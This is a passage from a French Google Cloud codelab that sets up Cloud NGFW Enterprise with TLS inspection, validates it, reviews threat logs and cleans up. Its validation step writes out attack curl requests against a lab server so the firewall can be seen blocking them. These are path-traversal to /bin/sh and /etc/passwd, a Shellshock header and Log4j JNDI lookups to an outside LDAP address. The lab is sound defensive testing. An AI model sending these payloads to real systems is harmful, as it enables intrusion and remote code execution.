cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
Importez la règle TLS mise à jour :
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. Valider l'inspection TLS E/W
Reconnectez-vous en SSH au client pour tester le trafic E/W avec la configuration de confiance mise à jour :
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Exécutez la requête TLS exemple sur le serveur :
curl https://$target_privateip --max-time 2
Si vous obtenez toujours le résultat ci-dessous, veuillez patienter jusqu'à ce que les modifications soient propagées.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Résultat attendu :
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
Envoyez du trafic de test malveillant au serveur :
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Résultat attendu :
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Aucune réponse n'est reçue conformément au résultat attendu ci-dessous, ce qui confirme que les exemples d'attaques sont désormais bloqués pour E/W.
13. Journalisation
Accédez à Journalisation > Explorateur de journaux dans la console Cloud, saisissez le filtre ci-dessous et interrogez les journaux. Remplacez [PROJECT_ID] par votre project_id :
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Les entrées de journal Cloud NGFW Enterprise doivent être semblables à celles ci-dessous :

Développez les entrées de journal et notez que les attaques envoyées de la VM cliente au serveur ont été identifiées et bloquées (Vulnérabilité d'exécution de code à distance Apache Log4j, comme indiqué dans la capture d'écran ci-dessous).

Vous avez déployé Cloud NGFW Enterprise avec l'inspection TLS pour bloquer les requêtes malveillantes.
Passez à la section suivante pour connaître les étapes de nettoyage.
14. Procédure de nettoyage
Nettoyage de la configuration de base
Supprimez les instances :
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Suivez les étapes ci-dessous si les rôles tagAdmin et tagUsers ont été modifiés :
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Supprimez la clé et les valeurs de tag :
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Supprimez la règle de réseau et l'association du pare-feu cloud :
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Supprimez le routeur Cloud Router et Cloud NAT :
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Supprimez les adresses IP réservées :
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Nettoyage des SPG, des associations et de TLS dans Cloud Firewall
Supprimez le groupe de profils de sécurité et le profil de menace dans cet ordre :
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Supprimez l'association de point de terminaison Cloud Firewall :
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Supprimez le point de terminaison Cloud Firewall, ce qui peut prendre environ 20 minutes :
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
Vous pouvez également vérifier que le point de terminaison Cloud NGFW a été supprimé en exécutant la commande ci-dessous :
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
L'état du point de terminaison doit indiquer :
STATE: DELETING
Une fois l'opération terminée, le point de terminaison ne sera plus listé.
Supprimez la règle TLS et la configuration de confiance dans cet ordre :
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
Désactivez et supprimez l'autorité de certification racine et le pool d'autorités de certification :
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Nettoyage des sous-réseaux et du VPC
Enfin, supprimez le sous-réseau et le réseau VPC :
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
15. Félicitations !
Bravo ! Vous avez terminé l'atelier de programmation "Cloud NGFW Enterprise pour l'inspection TLS est-ouest et nord-sud".